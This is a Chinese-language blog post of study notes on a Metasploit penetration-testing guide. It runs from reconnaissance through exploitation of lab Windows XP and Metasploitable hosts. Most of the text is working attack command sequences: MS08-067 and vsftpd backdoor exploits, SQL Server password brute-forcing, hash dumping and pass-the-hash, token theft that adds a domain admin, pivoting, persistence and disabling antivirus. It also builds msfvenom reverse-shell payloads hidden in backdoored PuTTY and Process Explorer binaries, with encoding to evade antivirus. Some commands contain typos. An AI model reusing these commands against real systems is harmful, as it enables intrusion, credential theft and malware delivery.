Metasploit 笔记

基本操作

metasploit 渗透测试指南 小笔记

情报搜集

被动信息搜集

whois 查询

whois 可以查找域名服务器,如果Name Server不属于要测试的站点,则不应该将其作为攻击目标。

1
whois testfire.net

也可以查询IP地址

1
whois 65.61.137.117

如果NetType并不在域名内,可能网站是由提供托管服务的第三方运营的。

Netcraft

Netcraft,可以查出服务器的IP地址,例如testfire.net的IP地址是65.61.137.117

nslookup

1
2
3
nslookup
set type=mx
testfire.net

查到 mail addr 不属于 testfire.net,也不在攻击范围内。

Google Hacking

可以通过搜索关键词 site,将搜索目标限定在网站域名下。搜索site:testfire.net,可以发现有 www demo altoro 三个子域名,而且除了80端口,8080端口也提供web服务。demo.testfire.net域名下存在两个目录遍历的不安全配置缺陷,导致RTF文档敏感文件泄露和ASP源码泄露。在8080端口提供基于 Swagger的AltoroJ API 接口和使用手册。

还可以搜索一些与渗透攻击目标相关的搜索词,比如site:testfire.net admin,可以发现管理员后台登录界面。使用site:testfire.net login可以发现login界面泄露的ASP源码。可以想到这里存在本地文件包含和SQL注入。

主动信息搜集

使用Nmap进行扫描

推荐选项 -sS执行一次隐秘的TCP扫描,-Pn不要使用ping命令预先判断主机是否存活,默认所有主机都是存活的,适用于Internet上的渗透测试环境,因为大多数网络不允许ICMP协议通过。

可以加入 -A选项尝试获得深入的服务枚举和旗标获取。

使用数据库

渗透比较复杂时可以使用数据库。默认使用 postgresql,用db_status可以确认数据库连接情况。

将nmap输出导入 metasploit
1
2
3
4
5
6
nmap -Pn -sS -A -oX Subnet1.xml 192.168.1.0/24
# 扫描网络,将结果保存在 Subnet1.xml 中
db_import Subnet1.xml
# 将其中的内容导入数据库
hosts -c address
# 核实结果,显示数据库中所有已保存的主机信息
TCP空闲扫描

这种扫描可以冒充网络上另一台主机的IP地址,对目标进行更隐秘的扫描。首先需要定位一台使用递增IP帧标识机制的空闲主机。它的IP帧标识是可以预测的,能够计算出下一个IP帧标识。当我们冒充这台主机的IP地址对目标主机的某个端口进行探测后,如果该空闲主机实际的IP帧标识与预测不同,意味着那个端口可能是开放的。

可以使用scanner/ip/ipidseq模块寻找符合要求的空闲主机。

1
2
use auxiliary/scanner/ip/ipidseq
show options

显示了执行扫描所需的参数,RHOST参数可以使用IP地址段,如192.168.1.100-192.168.1.200,或者 CIDR 无类型域间选路 地址块,如192.168.1.0/24,使用都好的多个CIDR地址块以及每行包含一个IP地址的IP列表文本文件,如file:/tmp/hostlist.txt。THREADS参数设定扫描的线程数,默认为1。Windows中不要超过16,类UNIX系统不要超过128。

执行扫描:

1
2
3
set RHOSTS 192.168.1.0/24
set THREADS 50
run

在扫描结果中可以发现可用于扫描的主机,例如192.168.1.131,可以使用 nmap 的-sI选项指定这台主机作为空闲主机对目标进行扫描。

1
nmap -Pn -sI 192.168.1.131 192.168.1.201

这种方法不用自身IP想目标主机发送信息。

在msf终端运行nmap

msfconsole 中连接数据库后,可以使用 db_nmap命令,把nmap结果存储在数据库中。

1
db_nmap -sS -A 192.168.1.201

可以执行services 命令查看数据库中关于系统上运行服务的扫描结果:

1
services -u

使用 metasploit 进行端口扫描

除了第三方扫描器,辅助模块中也包含了内建的端口扫描器,有时这些扫描器更具有优势。例如贡献了一台位于防火墙之后使用NAT的主机,这台主机使用无法从Internet直接连接的私有IP,如果希望使用 metasploit 对NAT后的主机进行攻击,可以使用已攻陷的主机作为跳板,将流量传送到内部的主机。

查看提供的扫描工具,本例中使用 SYN 端口扫描器:

1
2
3
4
5
search portscan
use auxiliary/scanner/portscan/syn
set RHOSTS 192.168.1.201
set THREADS 50
run

针对性扫描

举例来说,在目标网络中快速扫描存在 MS08-067 漏洞的主机很常见,因为这是一个普遍存在的安全漏洞,并且能轻松获得 SYSTEM 权限。

服务器消息块协议扫描

可以利用smb_version模块遍历一个网络,并获取Windows版本号。

1
2
3
4
use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 192.168.1.201
run

稍后可以使用 hosts 查看保存的结果。

搜寻配置不当的 Microsoft SQL Server

MS SQL 默认监听TCP 1433 端口,如果使用了随机的TCP端口,可以对UDP 1434 进行查询来获得这个随机的端口号。Metasploit 中有 mssql_ping模块实现。

1
2
3
4
5
use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.0/24
set THREADS 255
run

SSH 服务器扫描

ssh_version可以识别SSH版本。

1
2
3
4
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.67.0/24
set THREADS 50
run

FTP 扫描

1
2
3
4
use auxiliary/scanner/ftp/ftp_version
set RHOSTS 192.168.67.0/24
set THREADS 255
run

检查是否允许匿名登录,以及匿名用户的权限

1
2
3
4
use auxiliary/scanner/ftp/anonymous
set RHOSTS 192.168.67.0/24
set THREADS 50
run

简单网管协议扫描

SNMP 常用于网络设备,提供系统信息。模块scanner/snmp/snmp_enum,如果能够获取制度或者读写的团体字符串,将发挥重要作用,提供许多重要信息。短体字符串基本等同于查询设备信息或者写入设备配置参数所需的口令。得到团体字符串后,利用scanner/snmp/snmp_login模块可以尝试对一个IP或者一段IP使用字典破解团体字符串。

1
2
3
4
use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.0/24
set THREADS 50
run

编写自己的扫描器

漏洞扫描

使用漏洞扫描器通常会在网络上产生大量流量,如果渗透测试工作不需要隐秘进行,使用漏洞扫描器非常方便。

基本的漏洞扫描

使用 netcat 获取目标的旗标。一旦连接到一个服务端口或向他们发送特定指令时,就可以获得旗标,例如Web服务器。

1
2
nc 192.168.67.140
GET HTTP/1.1

会回复一个 400 错误,并说明服务器是 IIS 5.1,可以据此查找已知漏洞。

漏洞扫描器有时存在误报和漏报,常用的漏洞扫描器包括 Nexpose, Nessus 和一些专项扫描器。

使用 Nexpose 进行扫描

扫描的目标是一个默认安装的 Windows XP SP2 主机,首先进行一次公开的白盒扫描,然后将结果导入 Metasploit。同时也可以在 MSF终端 调用Nexpose。

配置

启动服务后,访问https://localhost:3780,接受Nexpose签发的服务器整数,用安装时设定的用户名和密码登录,并完成激活。

标签页:

  • 资产(Assets)显示已经扫描过的计算机和设备
  • 报告(Report)列出扫描后生成的报告
  • 漏洞(Vulnerabilities)对在网络上发现的漏洞进行详细描述
  • 管理(Administration)可以对系统配置进行修改

有创建站点向导、手动扫描向导、生成报告向导可以使用。

将扫描报告导入 Metasploit

完成了一次完整的漏洞扫描后,在 msfconsole 中使用 db_nonect 创建一个新数据库,使用db_import将Nexpose的 XML 格式扫描报告文件导入数据库。Metasploit会识别出文件是由 Nexpose 生成的,并将扫描结果导入。随后使用db_hosts查看导入是否成功。

1
2
3
db_connect postgres:toor@127.0.0.1/msf3
db_import /tmp/host_195.xml
db_hosts -c address,svcs,vulns

如果想显示导入漏洞的详情可以使用db_vulns

在 MSF 控制台中运行 Nexpose

Metasploit 中包含 Nexpose 插件,可以在MSF终端中完成漏洞扫描。扫描之前需要使用db_connect创建新的数据库。

1
2
db_connect posttgres:toor@127.0.0.1/msf3
load nexpose

使用help可以获得此插件的命令。第一次扫描之前需要连接到所安装的 Nexpose 实例,输入nexpose_connect -h可以显示连接参数,在这里需要提供连接 Nexpose 需要的用户名、密码和IP地址,在最后加上 ok 参数表示接受SSL证书警告。

1
2
3
nexpose_connect -h
nexpose_connect username:password@127.0.0.1 ok
nexpose_scan 192.168.67.140

扫描结束后,结果保存在了数据库中。

1
2
db_hosts -c address
db_vulns

使用 Nessus 进行扫描

专用漏洞扫描器

验证SMB登录

这种扫描会留下大量记录

1
2
3
4
5
6
7
use auxiliary/scanner/smb/smb_login
show options
set RHOSTS 192.168.67.140
set SMBUser administrator
set SMBPass 123456
set VERBOSE false
run

扫描开放的VNC空口令

新版本的VNC不允许空口令

1
2
3
4
use auxiliary/scanner/vnc/vnc_none_auth
show options
set RHOSTS 192.168.67.140
run

扫描开放的X11服务器

1
2
3
4
5
use auxiliary/scanner/x11/open_x11
show options
set RHOSTS 192.168.67.140
set THREADS 50
run

如果发现了漏洞,可以利用xspy记录键盘输入。

1
2
cd /pentest/sniffers/xspy/
./xspy -display 192.168.67.140 -delay 100

渗透攻击之旅

渗透攻击基础

1
2
3
4
5
6
7
8
9
10
show exploits	# 显示所有可用的攻击模块
show auxiliary # 显示所有辅助模块和他们的用途
show options # 选择模块后,列出所需的参数
back # 回到上一个状态
search <module> # 查找特定的模块/漏洞
use <module> # 加载模块,此时命令提示符会变化
show payloads # 查看可用payload
set payload <payload> # 选择payload
show targets # 列出受影响的系统
info # 提供正在使用的模块的详细信息

模块中的参数只有两个状态,set 和 unset。有些参数是必填的(required),必须手工设置并且处于启用状态。使用 set 命令可以对某个参数进行设置并启用,unset 可以禁用相关参数。

1
2
3
4
set RHOST 192.168.67.140
set TARGET 4
show options
unset RHOST

setg 和 unsetg 是上面两个的全局版本,有些参数不会经常改变,比如 LHOST 可以通过setg 设置。

save 命令可以把使用 setg 设置的全局参数保存下来,下次启动 msfconsole 时可以继续使用。在任何时候都可以使用 save 保存当前状态。

攻击 Windows

靶机:Windows XP SP2 和 Ubuntu 9.04,Windows 配置了 IIS 和 SQL Server。

利用 MS08-067 漏洞

使用 nmap 扫描脚本,扫描Windows

1
nmap -sT -A --script=smb-vuln-ms08-067 -P0 192.168.67.140

-sT隐秘的tcp连接扫描,-A高级系统探测功能,扫描结果显示MS08-067: VULNERABLE

MS08-067 漏洞高度依赖于系统版本,所以我们手动指定目标版本,保证能触发正确的一处代码。

1
2
3
4
5
6
7
8
9
10
search ms08_067_netapi
use exploit/windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
show targets
set TARGET 4
set RHOST 192.168.67.140
set LHOST 192.168.67.136
set LPORT 8080
show options
exploit

先查找 MS08-067 的攻击模块,使用 use 加载。设置 payload 位基于 Windows 的 reverse_tcp,这个模块会从目标主机发起一个反弹连接,连接到 LHOST,可以绕过防火墙或者穿透 NAT 网关。show targets 让我们识别和匹配目标操作系统类型(多数模块会自动识别),指定了系统。 Windows XP SP2 English(AlwaysOn NX)意思时不允许执行,即启用 DEP 保护(默认)。设置 RHOST 指定目标, LHOST LPORT 指定监听的TCP端口(使用常见端口可以帮助绕过防火墙)。show options 确认参数都已经设置正确。exploit 初始化攻击环境,并开始对目标进行攻击尝试,成功会返回一个 reverse tcp 方式的 meterpreter 会话。

此时可以使用 session -l 查看远程运行的 meterpreter 状况。如果同时对多个目标进行了攻击,会同时开启多个会话。sessions -i 1指与ID为 1 的控制会话交互。如果这个会话是一个反向连接命令行 shell,这个命令会把我们带到命令提示符状态下。输入 shell,进入目标系统的交互命令行shell。

攻击 Metasploitable

与上面类似

1
nmap -sT -A -P0 192.168.67.141

发现 22 个开放端口,主机操作系统为 Debian,运行 vsftpd 2.3.4。

1
2
3
4
5
6
7
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show payloads
set PAYLOAD cmd/unix/interact
show oprtions
setg RHOST 192.168.67.141
exploit

这是命令执行攻击 ,成功率很高,标注了 excellent。使用了一个 bind 的交互式 shell,在目标主机打开了一个端口,连接到目标主机。

全端口攻击载荷:暴力破解目标开放的端口

如果攻击的组织内部设置了严格的出站端口过滤,可以使用专用的攻击载荷辅助逐个尝试可用的端口。

以攻击 windows 为例

1
2
3
4
5
6
7
8
9
use windows/smb/ms08_067_netapi
set LHOST 192.168.67.136
set RHOSTs 192.168.67.140
set TARGET 4
search ports
set PAYLOAD windows/meterpreter/reverse_tcp_allports
exploit -j
sessions -l -v
session -i 3

对所有端口进行了尝试,直到发现放行的段偶。

资源文件

resource file 指 msfconsole 中包含一些列自动化命令的脚本文件,这是一个可以在 msfconsole中执行的命令列表,列表中的命令顺序执行。资源文件可以简化攻击过程,使用resource命令载入资源文件,或者在OS命令行中使用 -r将资源文件作为 msfconsole 的一个参数 。

创建一个能够显示 metasploit 版本并且载入声音插件的资源文件

1
2
3
echo version > resource.rc
echo load sounds >> resource.rc
msfconsole -r resource.rc

实际环境中可以使用更复杂的资源文件,自动进行攻击,比如自动执行SMB攻击,resource.rc内容如下:

1
2
3
4
5
use explooit/windows/smb/ms80_067_netapi 
set RHOST 192.168.67.140
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.67.136
exploit

终端执行

1
2
msfconsole
resource resource.rc

后面可以使用 Karmetasploit 创建复杂的资源文件。

Meterpreter

使用 Meterpreter 前需要攻陷系统,来获得一个 meterpreter shell

攻击 Windows

攻击 MSSQL

这次攻击 MSSQL 服务。

1
2
nmap -sT -A -P0 192.168.67.140
nmap -sU 192.168.67.140 -p1434

这里MSSQL使用了默认的1433端口,如果不是,可以用mssql_ping模块查找MSSQL服务端口。使用mssql_login可以尝试对 sa 用户密码进行破解。

1
2
3
4
5
6
7
8
9
10
11
use auxiliary/scanner/mssql/mssql_ping
show options
setg RHOSTS 192.168.67.140
run
use auxiliary/scanner/mssql/mssql_login
show options
set PASS_FILE /usr/share/set/src/fattrack/wordlist.txt
set THREADS 10
set VERBOSE false
set USERNAME sa
exploit

上面爆破出了 sa 的密码 password123。

xp_cmdshell

xp_cmdshell是MSSQL默认装载的内奸存储程序,可以直接执行操作系统命令。下面使用mssql_payloadxp_cmdshell交互,添加本地管理员,通过可执行文件写入payload。

1
2
3
4
5
6
7
8
use exploit/windows/mssql/msql_payload
show options
set payload windows/meterpreter/reverse_tcp
setg LHOST 192.168.67.136
setg LPORT 443
setg RHOSTS 192.168.67.140
set PASSWORD password123
exploit

成功后就得到了一个 meterpreter 会话

meterpreter 基本命令

获得 meterpreter shell 后,可以利用一些基本命令获得更多信息,使用help可以得到帮助。

  • screenshot ,截屏
  • sysinfo ,获取系统运行的平台
  • ps ,获得进程列表
  • migrate ,迁移到目标进程空间

可以获取键盘记录

1
2
3
4
ps 	# 看到explorer.exe,进程号为1824
migrate 1824 # 迁移到 explorer.exe 的进程空间
run post/windows/capture/keylog_recorder # 获取记录
^C # 一段时间按后使用 CTRL+C 停止,记录保存

获得用户名和密码

Windows 系统存储用户密码哈希值方式一般有 LAN Manager(LM), NTLAN Manager(NTLM), NTLAN Manager v2(NTLMv2)。

使用 Meterpreter 命令获取哈希值

1
2
use priv
run post/windows/gather/hashdump

开头为aad3b的哈希值是一个空的哈希值。

传递哈希值

虽然得到了哈希值,但很难破解复杂的密码。使用哈希值传递技术可以只用哈希值登录。

1
2
3
4
5
6
7
use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.67.136
set LPORT 443
set RHOSTS 192.168.67.140
set SMBPass <hash>
exploit

权限提升

在目标机器上创建新用户bob,运行生成的 payload.exe

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.67.136 LPORT=443 -f exe -o payload.exe

运行后,使用 msfconsole 管理 shell

1
2
3
4
5
6
7
8
9
10
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.67.136
set LPORT 443
exploit
...
getuid
shell
C:\Documents and Settings\bob\Desktop>net user bob
^Z

在这里,获得了shell,用net user 命令发现 bob 是 User 组的用户,不是管理员,然后使用 CTRL+Z 保留会话(也可以使用background),稍后使用 sessions -lsessions -i <id>能够回到 meterpreter shell。

1
2
3
use priv
getsystem
getuid

使用特权模块,然后尝试获取本地管理员或者 SYSTEM 权限,使用 getuid 查看结果。

令牌假冒

使用 ps 命令后,可以看到 cmd.exe ,进程号2780,我们所在域是 metasploit, 域管理员为 administrator。

1
steal_token 2780

这时 Meterpreter 是以域管理员来运行的。

有时 ps 不能列出域管理员运行的进程,可以使用incognito列举系统上可以使用的令牌。

1
2
3
4
5
6
use incognito
list_tokens -u
impersonate_token METASPLOIT\\Administrator
add_user omgcompromised p@55word! -h 192.168.1.210
add_group_user "Domain Admins" omgcompromised -h 192.168.1.210
# 192.168.1.210 是域控制器的地址

跳板攻击

使用 Meterpreter 进行跳板攻击

例子中,我们从一个子网攻击一个目标系统,然后通过这个系统建立路由攻击其他及其。首先尝试对 Windows XP 进行攻击,然后以此作为据点,对目标内部网络的一个Ubuntu 系统进行攻击。

假设已经获取了某个服务器的访问权限,需要关注的市如何与目标网络建立连接。使用scripts/meterpreter目录下的 Meterpreter 外部脚本,提供了可以使用的额外脚本。

1
2
3
4
run get_local_subnets
background
route add 192.168.39.0 255.255.255.0 1
route print

首先显示了被控系统上的本地子网,将会话后台运行,在MSF终端中添加路由命令,告知系统将远程网络ID(受控主机的本地子网)通过攻击会话1 路由,然后通过route print显示当前活跃的路由设置。

然后对目标Linux系统进行第二次渗透攻击,使用基于 VSFTPD 的攻击,存在于 Metasploitable 靶机上。

1
2
3
4
5
6
7
use exploit/unix/ftp/vsftpd_234_backdoor
set PAYLOAD cmd/unix/interact
set RHOSTS 192.168.39.150
ifconfig
exploit
cat /etc/*release
background

通过 ifconfig 显示网络信息,然后与 RHOSTS 和LHOST对比,可以看到 LHOST 指定的是攻击机的IP地址,RHOST是 目标网络子网的地址。如果希望进一步对内网进行跳板扫描,可以使用 scanner/portscan/tcp 模块,可以使用已建立的路由通道。

使用load auto_add_route命令可以自动化添加路由

使用 Meterpreter 脚本

通过run <script>可以在 meterpreter 终端中运行扩展脚本。

  • VNC
1
2
3
run vnc
run screen
run screen_unlock

获得一个 VNC 连接。

  • 迁移进程

攻击系统时,使用迁移进程可以进入稳定的,不会关闭的服务进程中,以便维持稳定的系统控制连接。

1
run post/windows/manager/migrate
  • 关闭杀软
1
run killav
  • 获取系统密码哈希值
1
run hashdump
  • 查看流量
1
run packetrecorder -i 1
  • 获取系统信息
1
run scraper
  • 控制持久化

注入 meterpreter 代理,确保重启之后 meterpreter 还能运行,如果是反弹连接方式可以指定连接间隔;绑定方式可以设置在指定时间绑定开放端口。渗透完成后如果不移除,任何攻击者都可以获得这个系统的访问权。

1
2
3
4
5
6
run persistence -X -i 50 -p 443 -r 192.168.1.107
use multi/hadler
set payload windows/meterpreter/reverse_tcp
set lport 443
set lhost 192.168.1.107
exploit

开机自启动 -X,50秒重连一次-i 50,端口443 -p 443,连接的目的IP -r 192.168.1.107,使用use multi/handler监听。

移除 Meterpreter 代理的方式是删除 HKLM\Software\Microsoft\Windows\CurrentVersion\Run\中的注册表键和C:\WINDOWS\TEMP中的 VBS 文件

将命令行 shell 升级为 Meterpreter

可以在系统被攻陷时使用session -u将命令行 shell 提升为 Meterpreter。例子中使用MS08-067反弹命令行shell,然后升级为 Meterpreter shell。

1
2
3
4
5
6
7
8
9
10
search ms08_067
use exploit/windows/smb/ms08_067_netapi
set payload windows/shell/reverse_tcp
set target 4
setg lhost 192.168.6.1136
setg lport 8080
exploit -z
# session ID: 18
session -u 18
sessions -i 10

通过附加的 Railgun 组件操作 Windows API

1
2
irb
client.railgun.user32.MessageBoxA(0,"hello","orlde""MB_OK)

通过 irb获得一个交互式 Ruby shell,允许用 Ruby 语法与 Meterpreter 交互。

msfvenom

代替了原来的 msfpayload 和 msfencode,是这两个的结合体。

生成 payload

需要两个必要参数,-p-f

  • -p参数指定特定的payload,可以使用如下命令列出所有可以使用的payload
1
msfvenom -l payloads

也支持使用 - 作为值从标准输入中读取自定义 payload

1
cat payload_file.bin | msfvenom -p - -a x86 --platform win -e x86/shikata_ga_nai -f raw
  • -f指定 payload 输出格式,例如
1
msfvenom -p windows/meterpreter/bind_tcp -f exe

可以通过以下命令查看支持的格式

1
msfvenom --help-formats

典型使用

1
msfvenom -p windows/meterpreter/reverse_tcp lhost=[Attacker's IP] lport=4444 -f exe -o /tmp/my_payload.exe

对payload进行编码

默认情况下,当使用-b选项时(badchar),编码功能自动启用。其他情况下,必须使用-e选项开启编码功能,例如:

1
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -f raw

使用-l参数可列出可用编码器

1
msfvenom -l encoders

有时可以通过-i参数将一个payload多次编码,绕过杀软,但是编码并不是免杀的方案

1
msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -i 3

避免使用某些字符

-b参数使用时,某些字符不会出现在payload中,msfvenom会自动使用何时的编码器编码 payload

1
msfvenom -p windows/meterpreter/bind_tcp -b '\x00' -f raw

提供自定义模板

默认情况下,msfvenom 使用保存在msf/data/templates下的模板文件,使用-x参数可以指定自己的模板

1
msfvenom -p windows/meterpreter/bind_tcp -x calc.exe -f exe > new.exe

如果想使用自定义的基于64位操作系统的模板,-f参数中的 exe 需要修改为 exe-only。

-x-k通常同时使用,这样可以将模板中的payload作为新线程运行,但是只适用于较老的机器。

将msfvenom的输出串联(利用管道重定向)

旧的 msfpayload 和 msfencode 经常串联使用,并且可以按照多种编码顺序排列,msfvenom也可以这样使用

1
2
3
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.3 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 | \
msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | \
msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o payload.exe

免杀技术

杀软通常通过特征码对文件进行检测,我们可以针对目标创建一个独一无二的 payload。直接攻击时,payload还可以仅在内存中运行,不写入硬盘。

使用 MSF 攻击载荷生成器创建可独立运行的二进制文件

这里使用 msfvenom 载入 windows/shell_reverse_tcp 载荷,使用--payload-options查看参数

1
2
msfvenom -p windows/shell_reverse_tcp --payload-options
msfvenom -p windows/shell_reverse_tcp LHOST=193.168.67.136 LPORT= 443 -f exe -o payload1.exe

启动监听

1
2
3
use exploit/multi/handler
set payload windows/shell_reverse_tcp
show options

躲避杀软检测

使用 MSF 编码器

msfvenom -h查看帮助,msfvenom -l encoders列出可用的编码器。将生成的原始数据输入编码器并查看新生成的文件。

1
msfvenom -p windows/shell_reverse_tcp LHOST 192.168.671.36 LPORT=443 -e x86/shikata_ga_nai -f exe -o payload2.exe

多重编码

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.67.136 LPORT=443 -e x86/shikata_ga_nai -i 10 -f raw |msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o payload3.exe

-i参数表示次数,这里总共执行了不同的35次编码,但是依然无法成功突破杀软检测。

自定义可执行文件模板

通常,msfvenom会将攻击载荷嵌入默认的可执行文件模板,位于data/templates/template.exe,这个文件会受到杀软的关注。现在的msfvenom支持使用-x使用任意的 Windows 可执行程序代替默认模板文件,例如将微软Sysinternals中的Process Exploerer最为模板。

1
2
3
4
5
wget http://download.sysinternals.com/files/ProcessExplorer.zip
cd work
unzip ../ProcessExplorer.zip
cd ..
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.67.136 LPORT=8080 -e x86/shikata_ga_nai -x work/procexp.exe -i 5 -f exe -o /var/www/pe_backdoor.exe

隐秘地启动一个攻击载荷

被攻击的用户打开刚刚生成的文件时,什么都没有发生,可以引起用户的怀疑。我们可以在启动攻击载荷的同时让宿主程序能够正常运行。

1
2
3
wget https://the.earth.li/~sgtatham/putty/0.67/x86/putty.exe
msfcenom -p windows/shell_reverse_tcp LHOST=192.168.67.136 LPORT=443
-e x86/shikata_ga_nai -x putty.exe -k -i 5 -f exe -o /var/www/putty_backdoor.exe

-k选项处理 putty,会配置攻击载荷在一个独立的线程中启动,这样宿主程序不会受影响,但不是所有可执行程序都支持-k选项。如果没有使用-k选项,最好使用图形界面。否则cmd窗口直到攻击载荷使用完毕才会关闭。

加壳软件

加壳能够减小文件大小,而且不影响原有的功能。下面使用 UPX 加壳,尝试进行免杀处理

1
upx -5 payload3.exe

Metasploit Pro 的动态载荷

客户端渗透攻击

基于浏览器的渗透

针对浏览器的攻击与传统的渗透攻击不同在于 shellcode 触发方式不同。传统渗透攻击中,攻击者的全部目标时获取 RCE 的机会,植入一个 payload。然而在浏览器渗透攻击中,为了能够执行特殊构造的 payload,通常采用堆散射(heap sparying)的漏洞利用技术。

堆是指用于动态分配的进程内存空间,应用程序在运行时按需对这段内村惊醒申请和使用。堆空间的大小取决于计算机的可用内存空间,以及在软件生命周期中已使用的内存空间。在程序的运行过程中,对于攻击者而言,内存的分配地址是位置的,所以不能简单地跳转到某一地址。

空指令(NOP)是不做任何事情,直接执行下一条指令。空指令滑行区(NOP slide)是很多空指令相连组成的一个区域。空指令对应的操作码是 90,通常以\x90的形式出现在渗透代码中。

堆散射技术是指将空指令滑行区与 shellcode 组合成固定的形式,将它们重复填充到堆中,直到填满一大块内存空间。堆中的内存分配实在程序运行时动态执行的,通常利用浏览器执行 JS 申请大量内存,当程序执行流改变时,程序会随即跳转到某个地方,很可能这个地方已经被空指令滑行区覆盖,可以执行紧随其后的 shellcode。

使用 ollydbg 调试器获得空指令机器码

1
msfvenom -p windows/shell/bind_tcp LPORT=443 -f c -o shellcode1.c

执行之后会输出两个 shellcode,第二部分是在第一部分的shellcode 打开的端口有请求是,Metasploit 会自动发送的。将生成的第一部分 shellcode 中的/x去掉以便使用 ollydbg 调试,可以在前面加上许多90

随便打开一个程序,打开 ollydbg,选择 File 中的 Open,指向一个可执行程序。在出现的许多汇编指令中,点击第一条,按住 SHIFT 和左键选中接下来的300条指令。赋值刚才的shellcode,在调试窗口中粘贴,可以看到一些空指令和 shellcode。当第一次输出 bind_tcp 格式的 shellcode 时,可以看到第一阶段结束指令时 ecc3,定位这个以 ecc3结尾的指令块。

在 ecc3 的下一条指令设置断点,回到加入空指令的指令区域顶端,F5,执行到断点前,这时已经打开了端口,可以通过netstat -an查看。在 metasploit 中打开一个多线程监听器,这会向第一阶段打开的端口发送第二段 shellcode,获取控制会话。

对 IE 的极光漏洞进行渗透利用

1
2
3
4
5
6
7
use windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
show options
set srvport 80
set lhost 192.168.67.136
set lport 443
exploit -z

设置完成后,可以使用 Windows XP 虚拟机访问 http://<srvhost>:<srvport>,连接到该网站后,虚拟机稍微有些迟钝,稍后就会得到一个 meterpreter shell。但是用户一旦关闭浏览器就会失去连接。一旦建立连接,应该立刻运行run migrate迁移到新的独立进程内存空间。

1
run migrate -f

可以使用高级选项进行自动化,比如想改变反弹式连接每次尝试连接的次数。或者自动迁移到新进程。

1
2
3
show advanced
set ReverseConnectRetries 10
set AutoRunScript migrate -f

这是一个基于浏览器的攻击,很可能获得的是用户权限的 shell,使用usee privgetsystem尝试提权。

文件格式漏洞渗透攻击

有的应用程序存在由输入文件格式类型 bug 导致的可利用的安全漏洞,比如 Adobe PDF。下面利用 MS11_006,这时一个利用系统函数CreateSizedDIBSECTION中的栈溢出的漏洞。

1
2
3
4
5
use exploit/windows/fileformat/ms11_006_createsizeddibsection
info
set payload windows/meterpreter/reverse_tcp
set target 2
exploit

发送攻击负载

上面生成了 msf.doc,可以通过邮件发送给用户。实际发送这个文档之前,必须在模块中建立一个多线程监听端,可以保证渗透攻击发生时,攻击主机可以收到来自目标主机的连接请求。

1
2
3
4
5
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.67.136
set lport 443
exploit -j

Metasploit 辅助模块

辅助模块(auxiliary)主要提供信息搜集的支持,也提供一些后渗透攻击模块。

可以使用show auxiliary列出可用辅助模块。

使用辅助模块

比如想攻击一台 web 服务器,可以使用search scanner/http查找可用的 HTTP 扫描器。旧版 IIS 服务器的 WebDAV 功能存在一个可用于远程攻击的漏洞,可以针对目标进行一次扫描。

1
2
3
4
use scanner/http/webdav_scanner
show options
...
run

辅助模块剖析

社会工程学工具包

配置

作者

lll

发布于

2019-10-06

更新于

2022-09-19

许可协议